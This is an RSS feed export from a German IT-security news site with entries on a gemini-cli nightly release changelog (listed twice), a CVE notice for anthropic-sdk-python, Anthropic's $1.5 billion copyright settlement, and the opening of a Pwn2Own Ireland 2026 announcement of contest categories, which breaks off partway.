<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=docker+permission+denied+behebst%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Thu, 30 Jul 2026 07:17:54 +0200</lastBuildDate>
<pubDate>Thu, 30 Jul 2026 07:17:54 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=docker+permission+denied+behebst%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=docker+permission+denied+behebst%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[GitHub: Release v0.54.0-nightly.20260726.g3818efbbf]]></title>
<description><![CDATA[What's Changed

Changelog for v0.53.0-preview.0 by @gemini-cli-robot in #28507
Changelog for v0.52.0 by @gemini-cli-robot in #28508
chore(release): bump version to 0.54.0-nightly.20260722.gf743ab579 by @gemini-cli-robot in #28510
fix(caretaker): sanitize and wrap issue title in untrusted_context ...]]></description>
<link>https://tsecurity.de/de/3695126/downloads/github-release-v0540-nightly20260726g3818efbbf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695126/downloads/github-release-v0540-nightly20260726g3818efbbf/</guid>
<pubDate>Sun, 26 Jul 2026 06:37:53 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>What's Changed</h2>
<ul>
<li>Changelog for v0.53.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952788888" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28507" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28507/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28507">#28507</a></li>
<li>Changelog for v0.52.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953096720" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28508" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28508/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28508">#28508</a></li>
<li>chore(release): bump version to 0.54.0-nightly.20260722.gf743ab579 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953713055" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28510" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28510/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28510">#28510</a></li>
<li>fix(caretaker): sanitize and wrap issue title in untrusted_context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857767048" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28352" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28352/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28352">#28352</a></li>
<li>chore(caretaker): update vitest to v3.2.4 and add package-lock.json files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4895099126" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28409" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28409/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28409">#28409</a></li>
<li>fix(core): rotate session ID on model fallback to prevent stateful API errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933261007" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28469" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28469/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28469">#28469</a></li>
<li>feat(caretaker-triage): post comment before auto-closing issues by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897179697" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28411" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28411/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28411">#28411</a></li>
<li>fix(core): enforce HTTPS for GoogleCredentialsAuthProvider to prevent cleartext leakage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961806001" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28517" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28517/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28517">#28517</a></li>
<li>fix(core): filter out thought parts from getHistoryTurns when context management is disabled by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953685047" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28509" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28509/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28509">#28509</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260723.g9681621c6...v0.54.0-nightly.20260726.g3818efbbf">v0.52.0-nightly.20260723.g9681621c6...v0.54.0-nightly.20260726.g3818efbbf</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: Release v0.54.0-nightly.20260726.g3818efbbf]]></title>
<description><![CDATA[What's Changed

Changelog for v0.53.0-preview.0 by @gemini-cli-robot in #28507
Changelog for v0.52.0 by @gemini-cli-robot in #28508
chore(release): bump version to 0.54.0-nightly.20260722.gf743ab579 by @gemini-cli-robot in #28510
fix(caretaker): sanitize and wrap issue title in untrusted_context ...]]></description>
<link>https://tsecurity.de/de/3695127/downloads/github-release-v0540-nightly20260726g3818efbbf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695127/downloads/github-release-v0540-nightly20260726g3818efbbf/</guid>
<pubDate>Sun, 26 Jul 2026 06:37:53 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>What's Changed</h2>
<ul>
<li>Changelog for v0.53.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952788888" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28507" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28507/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28507">#28507</a></li>
<li>Changelog for v0.52.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953096720" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28508" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28508/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28508">#28508</a></li>
<li>chore(release): bump version to 0.54.0-nightly.20260722.gf743ab579 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953713055" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28510" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28510/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28510">#28510</a></li>
<li>fix(caretaker): sanitize and wrap issue title in untrusted_context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857767048" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28352" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28352/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28352">#28352</a></li>
<li>chore(caretaker): update vitest to v3.2.4 and add package-lock.json files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4895099126" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28409" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28409/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28409">#28409</a></li>
<li>fix(core): rotate session ID on model fallback to prevent stateful API errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933261007" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28469" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28469/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28469">#28469</a></li>
<li>feat(caretaker-triage): post comment before auto-closing issues by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897179697" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28411" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28411/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28411">#28411</a></li>
<li>fix(core): enforce HTTPS for GoogleCredentialsAuthProvider to prevent cleartext leakage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961806001" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28517" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28517/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28517">#28517</a></li>
<li>fix(core): filter out thought parts from getHistoryTurns when context management is disabled by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953685047" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28509" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28509/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28509">#28509</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260723.g9681621c6...v0.54.0-nightly.20260726.g3818efbbf">v0.52.0-nightly.20260723.g9681621c6...v0.54.0-nightly.20260726.g3818efbbf</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-34450 | Anthropic anthropic-sdk-python up to 0.86.x Claude API default permission (GHSA-q5f5-3gjm-7mfm)]]></title>
<description><![CDATA[A vulnerability was found in Anthropic anthropic-sdk-python up to 0.86.x. It has been declared as critical. This issue affects some unknown processing of the component Claude API. Executing a manipulation can lead to incorrect default permissions.

This vulnerability is handled as CVE-2026-34450....]]></description>
<link>https://tsecurity.de/de/3695069/sicherheitsluecken/cve-2026-34450-anthropic-anthropic-sdk-python-up-to-086x-claude-api-default-permission-ghsa-q5f5-3gjm-7mfm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695069/sicherheitsluecken/cve-2026-34450-anthropic-anthropic-sdk-python-up-to-086x-claude-api-default-permission-ghsa-q5f5-3gjm-7mfm/</guid>
<pubDate>Sun, 26 Jul 2026 06:36:12 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/anthropic:anthropic-sdk-python">Anthropic anthropic-sdk-python up to 0.86.x</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. This issue affects some unknown processing of the component <em>Claude API</em>. Executing a manipulation can lead to incorrect default permissions.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-34450">CVE-2026-34450</a>. It is possible to launch the attack on the local host. There is not any exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic pays $1.5B to settle contentious copyright case]]></title>
<description><![CDATA[A US federal court has approved Anthropic’s $1.5 billion settlement in a class-action lawsuit in which authors accused the AI company of using their books without permission to train the AI model Claude. This is the largest such settlement to date in a US copyright case, according to Reuters.



...]]></description>
<link>https://tsecurity.de/de/3694775/ai-nachrichten/anthropic-pays-15b-to-settle-contentious-copyright-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694775/ai-nachrichten/anthropic-pays-15b-to-settle-contentious-copyright-case/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A US federal court has approved Anthropic’s $1.5 billion settlement in a class-action lawsuit in which authors <a href="https://www.computerworld.com/article/3489680/anthropic-sued-by-authors-over-alleged-misuse-of-copyrighted-works-for-ai-training.html" data-type="link" data-id="https://www.computerworld.com/article/3489680/anthropic-sued-by-authors-over-alleged-misuse-of-copyrighted-works-for-ai-training.html">accused the AI company of using their books without permission</a> to train the AI model Claude. This is the largest such settlement to date in a US copyright case, <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/" target="_blank" rel="noreferrer noopener">according to Reuters</a>.</p>



<p class="wp-block-paragraph">The dispute is one of several legal cases in which copyright holders sued AI companies over how large language models (LLMs) were trained, and it is the first major AI-related copyright dispute in the US to be resolved through a settlement.</p>



<p class="wp-block-paragraph">A judge had previously ruled that the actual training of AI models using books falls under the “fair use” doctrine in US copyright law. But Anthropic was found to have violated the law by storing more than 7 million pirated books in a central library, regardless of whether they were later used for AI training or not.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]></title>
<description><![CDATA[If you just want to read the rules, you can find them here.  Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With...]]></description>
<link>https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the rules, you can find them </em><a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank"><em>here</em></a><em>. </em></p><p class=""> </p><p class="">Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random <a href="https://youtube.com/shorts/PjpvUdhn6e0?feature=share">banshee</a>), we had an amazing event, even if we did end up in a <a href="https://youtu.be/ruxOpC-b-yM?si=Epu-ewvSe5VNQNbP&amp;t=333">jail</a> at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).</p><p class="">As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> (note the address). We will be happy to address your issues or concerns directly.</p><p class="">Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules <em>thoroughly</em> to ensure you meet all the requirements.</p><p class="">Now on to this year’s target categories. We’ll have seven different categories for this year’s event:</p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#phones">-- Mobile Phones</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#smarthome">--	Smart Home Devices</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#wellness">-- Wellness</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#printers">-- Printers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#messaging">--	Messaging</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#infrastructure">-- AI Infrastructure</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#agents">-- AI Coding Agents</a>  </p>




  <p class="">Let’s take a look at each category in more detail, starting with mobile phones.</p>





















  
  



<p><a data-preserve-html-node="true" name="phones"></a> </p>




  <p class=""><strong>The Target Phones</strong></p><p class="">Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.</p><p class="">Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="smarthome"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Smart Home Devices</b></p>




  <p class="">As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="wellness"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Wellness Category</b></p>




  <p class="">This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="printers"></a>
